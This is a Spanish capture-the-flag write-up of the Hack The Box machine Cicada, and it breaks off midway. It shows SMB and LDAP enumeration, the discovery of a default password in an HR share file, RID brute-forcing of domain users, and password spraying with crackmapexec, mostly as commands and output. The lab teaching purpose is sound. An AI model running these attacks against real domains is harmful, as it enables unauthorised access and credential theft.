Introducción
Este documento detalla el proceso paso a paso para explotar la máquina Cicada en Hack The Box. Se incluyen todas las herramientas y técnicas empleadas, desde la enumeración inicial hasta la obtención de la flag de administrador.
Herramientas Utilizadas:
- nmap: herramienta de código abierto utilizada para el escaneo y mapeo de redes.
- enum4linux: Herramienta de auditoría de redes para obtener información sobre sistemas Windows a través del protocolo SMB. Permite la enumeración de usuarios, grupos, políticas y otras configuraciones importantes de un dominio.
- CrackMapExec (CME): Herramienta de post-explotación que facilita la administración de redes de Windows. Se utiliza para realizar tareas como la enumeración de usuarios, la ejecución remota de comandos, y la explotación de vulnerabilidades en una red comprometida mediante SMB, RDP, WinRM, entre otros.
- Evil-WinRM: Herramienta de post-explotación que permite interactuar con sistemas Windows de forma remota a través de PowerShell utilizando el protocolo WinRM.
- Mimikatz: Herramienta de seguridad utilizada para obtener contraseñas y hashes de usuarios de un sistema Windows, así como para manipular credenciales.
- pypykatz: Herramienta basada en Python para extraer y analizar contraseñas de archivos SAM y SYSTEM de Windows sin necesidad de estar en un entorno de ejecución de Windows.
- samdump2: Herramienta de línea de comandos utilizada para extraer contraseñas o hashes de los archivos SAM y SYSTEM de Windows.
Descubrimiento de la Máquina Objetivo
Escaneo de Puertos con Nmap
Lo primero que realizamos fue un escaneo con Nmap para identificar los puertos abiertos en la máquina. Utilizamos el siguiente comando:
❯ sudo nmap -sS -sC -sV -Pn -p- -T4 -A -oG allPorts 10.10.11.35
Starting Nmap 7.93 ( https://nmap.org ) at 2024-12-03 12:17 CET
Nmap scan report for 10.10.11.35
Host is up (0.031s latency).
Not shown: 65526 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-03 18:19:50Z)
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3269/tcp open globalcatLDAPssl?
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
50360/tcp open unknown
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|phone
Running: Linux 2.4.X|2.6.X, Sony Ericsson embedded
OS CPE: cpe:/o:linux:linux_kernel:2.4.20 cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:sonyericsson:u8i_vivaz
OS details: Tomato 1.28 (Linux 2.4.20), Tomato firmware (Linux 2.6.22), Sony Ericsson U8i Vivaz mobile phone
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 636/tcp)
HOP RTT ADDRESS
1 ... 30
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 299.08 seconds
- -sS: Realiza un escaneo de puertos en TCP usando la técnica SYN scan, que es rápido y difícil de detectar.
- -sC: Ejecuta scripts predeterminados de Nmap para detectar vulnerabilidades comunes y obtener más información sobre los servicios.
- -sV: Detecta la versión de los servicios que están escuchando en los puertos abiertos.
- -Pn: Desactiva la detección de hosts, lo que asume que el host está activo, incluso si no responde a los pings.
- -p-: Escanea todos los puertos (del 1 al 65535).
- -T4: Ajusta la velocidad del escaneo para hacerlo más rápido, pero con menos probabilidad de ser detectado.
- -A: Realiza un escaneo completo de detección de sistema operativo, versiones, y otros detalles avanzados.
- -oG allPorts: Guarda el resultado del escaneo en un archivo en formato de salida grepable (ideal para análisis posteriores).
Resumen resultados nmap:
- Puerto 88/tcp (Kerberos): Usado para autenticación en redes Windows mediante Kerberos.
- Puerto 389/tcp (LDAP): Servicio LDAP utilizado por Active Directory para acceder a directorios.
- Puerto 464/tcp (kpasswd5?): Relacionado con la gestión de contraseñas en Kerberos.
- Puerto 593/tcp (RPC over HTTP): Usado para Remote Procedure Call (RPC) sobre HTTP, común en administración remota de Windows.
- Puerto 636/tcp (SSL/LDAP): Variante de LDAP con SSL para comunicaciones cifradas.
- Puerto 3268/tcp (LDAP Global Catalog): Usado en el Active Directory para el catálogo global de directorios.
- Puerto 3269/tcp (SSL/Global Catalog): Similar al puerto 3268 pero con SSL para cifrar la comunicación.
- Puerto 5985/tcp (HTTP API): Asociado con la API HTTP de Microsoft, utilizada para administración remota.
- Puerto 50360/tcp (Desconocido): Un puerto con un servicio desconocido que requiere más investigación.
Enumeración
Después de realizar un escaneo inicial de puertos con Nmap, decidimos realizar una enumeración más profunda de la máquina objetivo utilizando enum4linux-ng, una herramienta especializada en la enumeración de información sobre sistemas Windows a través de SMB, LDAP y RPC.
❯ /opt/enum4linux-ng/enum4linux-ng.py -A 10.10.11.35
ENUM4LINUX - next generation (v1.3.3)
==========================
| Target Information |
==========================
[*] Target ........... 10.10.11.35
[*] Username ......... ''
[*] Random Username .. 'iiludawx'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
====================================
| Listener Scan on 10.10.11.35 |
====================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
===================================================
| Domain Information via LDAP for 10.10.11.35 |
===================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: cicada.htb
==========================================================
| NetBIOS Names and Workgroup/Domain for 10.10.11.35 |
==========================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out
========================================
| SMB Dialect Check on 10.10.11.35 |
========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: false
SMB 2.02: true
SMB 2.1: true
SMB 3.0: true
SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true
==========================================================
| Domain Information via SMB session for 10.10.11.35 |
==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: CICADA-DC
NetBIOS domain name: CICADA
DNS domain: cicada.htb
FQDN: CICADA-DC.cicada.htb
Derived membership: domain member
Derived domain: CICADA
========================================
| RPC Session Check on 10.10.11.35 |
========================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for random user
[+] Server allows session using username 'iiludawx', password ''
[H] Rerunning enumeration with user 'iiludawx' might give more results
==================================================
| Domain Information via RPC for 10.10.11.35 |
==================================================
[+] Domain: CICADA
[+] Domain SID: S-1-5-21-917908876-1423158569-3159038727
[+] Membership: domain member
==============================================
| OS Information via RPC for 10.10.11.35 |
==============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: ''
OS build: '20348'
Native OS: not supported
Native LAN manager: not supported
Platform id: null
Server type: null
Server type string: null
====================================
| Users via RPC on 10.10.11.35 |
====================================
[*] Enumerating users via 'querydispinfo'
[-] Could not find users via 'querydispinfo': STATUS_ACCESS_DENIED
[*] Enumerating users via 'enumdomusers'
[-] Could not find users via 'enumdomusers': STATUS_ACCESS_DENIED
=====================================
| Groups via RPC on 10.10.11.35 |
=====================================
[*] Enumerating local groups
[-] Could not get groups via 'enumalsgroups domain': STATUS_ACCESS_DENIED
[*] Enumerating builtin groups
[-] Could not get groups via 'enumalsgroups builtin': STATUS_ACCESS_DENIED
[*] Enumerating domain groups
[-] Could not get groups via 'enumdomgroups': STATUS_ACCESS_DENIED
=====================================
| Shares via RPC on 10.10.11.35 |
=====================================
[*] Enumerating shares
[+] Found 0 share(s) for user '' with password '', try a different user
========================================
| Policies via RPC for 10.10.11.35 |
========================================
[*] Trying port 445/tcp
[-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED
[*] Trying port 139/tcp
[-] SMB connection error on port 139/tcp: session failed
========================================
| Printers via RPC for 10.10.11.35 |
========================================
[-] Could not get printer info via 'enumprinters': STATUS_ACCESS_DENIED
Completed after 10.54 seconds
Resumen de la enumeración
Puertos accesibles:
- LDAP (389/tcp) y LDAPS (636/tcp) están disponibles.
- SMB (445/tcp) y SMB sobre NetBIOS (139/tcp) están abiertos.
Dominio:
- El dominio identificado es cicada.htb, y la máquina parece ser un controlador de dominio raíz.
Sistema operativo:
- El sistema operativo es Windows 10 o Windows Server 2019/2016 con la versión 10.0.
Información denegada:
- La enumeración de usuarios, grupos y compartidos fue bloqueada por restricciones de acceso (STATUS_ACCESS_DENIED).
Dado que no se pudo obtener información adicional relevante utilizando el acceso anónimo, se decidió intentar la enumeración con otros usuarios, como el usuario «guest», con la esperanza de obtener más detalles y poder avanzar en la investigación.
❯ /opt/enum4linux-ng/enum4linux-ng.py -A 10.10.11.35 -u "guest"
ENUM4LINUX - next generation (v1.3.3)
==========================
| Target Information |
==========================
[*] Target ........... 10.10.11.35
[*] Username ......... 'guest'
[*] Random Username .. 'injltnmq'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
====================================
| Listener Scan on 10.10.11.35 |
====================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
===================================================
| Domain Information via LDAP for 10.10.11.35 |
===================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: cicada.htb
==========================================================
| NetBIOS Names and Workgroup/Domain for 10.10.11.35 |
==========================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out
========================================
| SMB Dialect Check on 10.10.11.35 |
========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: false
SMB 2.02: true
SMB 2.1: true
SMB 3.0: true
SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true
==========================================================
| Domain Information via SMB session for 10.10.11.35 |
==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: CICADA-DC
NetBIOS domain name: CICADA
DNS domain: cicada.htb
FQDN: CICADA-DC.cicada.htb
Derived membership: domain member
Derived domain: CICADA
========================================
| RPC Session Check on 10.10.11.35 |
========================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for user session
[+] Server allows session using username 'guest', password ''
[*] Check for random user
[+] Server allows session using username 'injltnmq', password ''
[H] Rerunning enumeration with user 'injltnmq' might give more results
==================================================
| Domain Information via RPC for 10.10.11.35 |
==================================================
[+] Domain: CICADA
[+] Domain SID: S-1-5-21-917908876-1423158569-3159038727
[+] Membership: domain member
==============================================
| OS Information via RPC for 10.10.11.35 |
==============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[+] Found OS information via 'srvinfo'
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: ''
OS build: '20348'
Native OS: not supported
Native LAN manager: not supported
Platform id: '500'
Server type: '0x80102b'
Server type string: Wk Sv PDC Tim NT CICADA-DC
====================================
| Users via RPC on 10.10.11.35 |
====================================
[*] Enumerating users via 'querydispinfo'
[-] Could not find users via 'querydispinfo': STATUS_ACCESS_DENIED
[*] Enumerating users via 'enumdomusers'
[-] Could not find users via 'enumdomusers': STATUS_ACCESS_DENIED
=====================================
| Groups via RPC on 10.10.11.35 |
=====================================
[*] Enumerating local groups
[-] Could not get groups via 'enumalsgroups domain': STATUS_ACCESS_DENIED
[*] Enumerating builtin groups
[-] Could not get groups via 'enumalsgroups builtin': STATUS_ACCESS_DENIED
[*] Enumerating domain groups
[-] Could not get groups via 'enumdomgroups': STATUS_ACCESS_DENIED
=====================================
| Shares via RPC on 10.10.11.35 |
=====================================
[*] Enumerating shares
[+] Found 7 share(s):
ADMIN$:
comment: Remote Admin
type: Disk
C$:
comment: Default share
type: Disk
DEV:
comment: ''
type: Disk
HR:
comment: ''
type: Disk
IPC$:
comment: Remote IPC
type: IPC
NETLOGON:
comment: Logon server share
type: Disk
SYSVOL:
comment: Logon server share
type: Disk
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share DEV
[+] Mapping: OK, Listing: DENIED
[*] Testing share HR
[+] Mapping: OK, Listing: OK
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share NETLOGON
[+] Mapping: OK, Listing: DENIED
[*] Testing share SYSVOL
[+] Mapping: OK, Listing: DENIED
========================================
| Policies via RPC for 10.10.11.35 |
========================================
[*] Trying port 445/tcp
[-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED
[*] Trying port 139/tcp
[-] SMB connection error on port 139/tcp: session failed
========================================
| Printers via RPC for 10.10.11.35 |
========================================
[+] No printers returned (this is not an error)
Completed after 15.87 seconds
Resumen de la enumeración
Puertos accesibles:
- LDAP (389/tcp) y LDAPS (636/tcp) están accesibles.
- SMB (445/tcp) y SMB sobre NetBIOS (139/tcp) están abiertos.
Dominio:
- El dominio es cicada.htb y el controlador de dominio es CICADA-DC.
Información del sistema operativo:
- El sistema operativo es Windows 10, Windows Server 2019, o Windows Server 2016 (versión 10.0, build 20348).
Shares encontradas:
- Se encontraron 7 compartidos, de los cuales algunos como DEV, HR y IPC$ se pudieron mapear correctamente, mientras que otros como ADMIN$, C$, NETLOGON y SYSVOL tuvieron restricciones de acceso.
Usuarios y grupos:
- No se pudo enumerar usuarios ni grupos debido a restricciones de acceso (STATUS_ACCESS_DENIED).
Políticas:
- No se pudieron obtener políticas de seguridad a través de RPC debido a un error de conexión (STATUS_ACCESS_DENIED).
urante la enumeración de shares SMB en el servidor 10.10.11.35, se encontraron varias unidades compartidas accesibles: DEV, HR, NETLOGON y SYSVOL. A continuación, creamos un script para revisar el contenido de cada una de estas unidades y verificar su disponibilidad.
Script para la enumeración de shares SMB
El siguiente script en Bash intenta acceder a cada uno de los shares SMB detectados y listar su contenido. El script utiliza las credenciales de usuario guest
para intentar el acceso.
#!/bin/bash
# Dirección IP del servidor
SERVER_IP="10.10.11.35"
# Usuario SMB
SMB_USER="guest"
SMB_PASS=""
# Lista de shares detectados
SHARES=("DEV" "HR" "NETLOGON" "SYSVOL")
echo "Iniciando enumeración de shares SMB en $SERVER_IP con usuario '$SMB_USER'..."
for SHARE in "${SHARES[@]}"; do
echo "Intentando acceder al share: $SHARE"
# Comando para listar el contenido del share
smbclient "\\\\$SERVER_IP\\$SHARE" -U "$SMB_USER%$SMB_PASS" 2>/dev/null
# Verificar si el acceso fue exitoso
if [ $? -eq 0 ]; then
echo "Acceso exitoso al share '$SHARE'. Contenido listado arriba."
else
echo "No se pudo acceder al share '$SHARE'."
fi
echo "---------------------------------------------"
done
echo "Enumeración completada."
Ejecución del script
Al ejecutar el script, se realizó la enumeración de los shares SMB y se intentó acceder a cada uno de ellos:
❯ bash enum_smb.sh
Iniciando enumeración de shares SMB en 10.10.11.35 con usuario 'guest'...
Intentando acceder al share: DEV
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit
Acceso exitoso al share 'DEV'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: HR
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 13:29:09 2024
.. D 0 Thu Mar 14 13:21:29 2024
Notice from HR.txt A 1266 Wed Aug 28 19:31:48 2024
4168447 blocks of size 4096. 417279 blocks available
smb: \> exit
Acceso exitoso al share 'HR'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: NETLOGON
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit
Acceso exitoso al share 'NETLOGON'. Contenido listado arriba.
---------------------------------------------
Intentando acceder al share: SYSVOL
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit
Acceso exitoso al share 'SYSVOL'. Contenido listado arriba.
---------------------------------------------
Enumeración completada.
Se detectaron los siguientes shares accesibles:
- DEV: Acceso exitoso, aunque el contenido no fue detallado.
- HR: Acceso exitoso. El contenido listado incluyó un archivo llamado
Notice from HR.txt
. - NETLOGON y SYSVOL: Acceso exitoso, pero no se pudo listar el contenido en detalle.
Descarga del archivo «Notice from HR.txt»
El archivo Notice from HR.txt se encuentra en la unidad compartida HR. A continuación, se muestra cómo se descargó el archivo utilizando el comando smbclient
:
❯ smbclient \\\\10.10.11.35\\HR -U "guest"
Password for [WORKGROUP\guest]:
smb: \> ls
. D 0 Thu Mar 14 13:29:09 2024
.. D 0 Thu Mar 14 13:21:29 2024
Notice from HR.txt A 1266 Wed Aug 28 19:31:48 2024
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (9,9 KiloBytes/sec) (average 9,9 KiloBytes/sec)
Durante el análisis del documento Notice from HR.txt
, encontramos información sensible que contiene una contraseña predeterminada para los nuevos empleados de Cicada Corp. El contenido del archivo es el siguiente:
Dear new hire!
Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.
Your default password is: Cicada$M6Corpb*@Lp#nZp!8
To change your password:
1. Log in to your Cicada Corp account using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.
Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.
If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
Best regards,
Cicada Corp
Uso del Software enum4linux
para Explorar Datos Sensibles:
A pesar de haber obtenido la contraseña mencionada en el documento, intentamos buscar información valiosa mediante la herramienta enum4linux
para extraer datos de la máquina objetivo. Sin embargo, no logramos obtener resultados significativos
Realización de un Ataque de Fuerza Bruta con crackmapexec
:
Como siguiente paso, utilizamos crackmapexec
con la opción --rid-brute
para intentar descubrir otros posibles usuarios en el dominio. El siguiente comando nos permite realizar una enumeración de usuarios potenciales en el dominio SMB:
❯ poetry run crackmapexec smb 10.10.11.35 -u "guest" -p "" --rid-brute
SMB 10.10.11.35 445 CICADA-DC [*] Windows 10.0 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\guest:
SMB 10.10.11.35 445 CICADA-DC 498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 500: CICADA\Administrator (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 501: CICADA\Guest (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 502: CICADA\krbtgt (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 512: CICADA\Domain Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 513: CICADA\Domain Users (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 514: CICADA\Domain Guests (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 515: CICADA\Domain Computers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 516: CICADA\Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 517: CICADA\Cert Publishers (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 518: CICADA\Schema Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 519: CICADA\Enterprise Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 525: CICADA\Protected Users (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 526: CICADA\Key Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1101: CICADA\DnsAdmins (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1103: CICADA\Groups (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1104: CICADA\john.smoulder (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1105: CICADA\sarah.dantelia (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1106: CICADA\michael.wrightson (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1109: CICADA\Dev Support (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)
Prueba de Conexión WinRM
Se realizó una prueba de conexión utilizando CrackMapExec (CME) para verificar la autenticación mediante el servicio WinRM en el objetivo 10.10.11.35. Se usaron las listas de usuarios y contraseñas obtenidas previamente.
❯ poetry run crackmapexec winrm 10.10.11.35 -u /home/rokitoh/CTF/htb/Cicada/users.txt -p /home/rokitoh/CTF/htb/Cicada/pass.txt
SMB 10.10.11.35 5985 CICADA-DC [*] Windows 10.0 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
HTTP 10.10.11.35 5985 CICADA-DC [*] http://10.10.11.35:5985/wsman
HTTP 10.10.11.35 5985 CICADA-DC [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8
HTTP 10.10.11.35 5985 CICADA-DC [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8
HTTP 10.10.11.35 5985 CICADA-DC [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8
HTTP 10.10.11.35 5985 CICADA-DC [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8
HTTP 10.10.11.35 5985 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8
HTTP 10.10.11.35 5985 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8
HTTP 10.10.11.35 5985 CICADA-DC [-] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
HTTP 10.10.11.35 5985 CICADA-DC [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8
HTTP 10.10.11.35 5985 CICADA-DC [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8
HTTP 10.10.11.35 5985 CICADA-DC [-] cicada.htb\:Cicada$M6Corpb*@Lp#nZp!8
Resultado:
- SMB: Conexión exitosa en el puerto 5985 con el nombre del equipo CICADA-DC y la versión de Windows 10.0 Build 20348.
- HTTP: Varios intentos de autenticación con usuarios del dominio cicada.htb, pero todos fallaron, incluyendo el usuario
Administrator
y otros comunes.
Prueba de Conexión SMB
Realizamos la misma prueba de autenticación pero utilizando SMB sobre el puerto 445, con el mismo archivo de usuarios y contraseñas.
❯ poetry run crackmapexec smb 10.10.11.35 -u /home/rokitoh/CTF/htb/Cicada/users.txt -p /home/rokitoh/CTF/htb/Cicada/pass.txt
SMB 10.10.11.35 445 CICADA-DC [*] Windows 10.0 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
Resultado:
- SMB: Conexión exitosa, pero la autenticación falló con todos los usuarios comunes (
Administrator
,Guest
,krbtgt
). - Sin embargo, se identificó un inicio de sesión exitoso con el usuario
michael.wrightson
.
Enumeración SMB con enum4linux
Con el usuario y la contraseña michael.wrightson obtenidos, se procedió a listar los recursos compartidos mediante enum4linux-ng, lo cual proporcionó acceso completo a información sobre el dominio y la configuración de SMB en el sistema remoto.
❯ /opt/enum4linux-ng/enum4linux-ng.py -A 10.10.11.35 -u "michael.wrightson" -p 'Cicada$M6Corpb*@Lp#nZp!8'
ENUM4LINUX - next generation (v1.3.3)
==========================
| Target Information |
==========================
[*] Target ........... 10.10.11.35
[*] Username ......... 'michael.wrightson'
[*] Random Username .. 'yxrwnyib'
[*] Password ......... 'Cicada$M6Corpb*@Lp#nZp!8'
[*] Timeout .......... 5 second(s)
====================================
| Listener Scan on 10.10.11.35 |
====================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
===================================================
| Domain Information via LDAP for 10.10.11.35 |
===================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: cicada.htb
==========================================================
| NetBIOS Names and Workgroup/Domain for 10.10.11.35 |
==========================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out
========================================
| SMB Dialect Check on 10.10.11.35 |
========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: false
SMB 2.02: true
SMB 2.1: true
SMB 3.0: true
SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true
==========================================================
| Domain Information via SMB session for 10.10.11.35 |
==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: CICADA-DC
NetBIOS domain name: CICADA
DNS domain: cicada.htb
FQDN: CICADA-DC.cicada.htb
Derived membership: domain member
Derived domain: CICADA
========================================
| RPC Session Check on 10.10.11.35 |
========================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for user session
[+] Server allows session using username 'michael.wrightson', password 'Cicada$M6Corpb*@Lp#nZp!8'
[*] Check for random user
[+] Server allows session using username 'yxrwnyib', password 'Cicada$M6Corpb*@Lp#nZp!8'
[H] Rerunning enumeration with user 'yxrwnyib' might give more results
==================================================
| Domain Information via RPC for 10.10.11.35 |
==================================================
[+] Domain: CICADA
[+] Domain SID: S-1-5-21-917908876-1423158569-3159038727
[+] Membership: domain member
==============================================
| OS Information via RPC for 10.10.11.35 |
==============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[+] Found OS information via 'srvinfo'
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: ''
OS build: '20348'
Native OS: not supported
Native LAN manager: not supported
Platform id: '500'
Server type: '0x80102b'
Server type string: Wk Sv PDC Tim NT CICADA-DC
====================================
| Users via RPC on 10.10.11.35 |
====================================
[*] Enumerating users via 'querydispinfo'
[+] Found 8 user(s) via 'querydispinfo'
[*] Enumerating users via 'enumdomusers'
[+] Found 8 user(s) via 'enumdomusers'
[+] After merging user results we have 8 user(s) total:
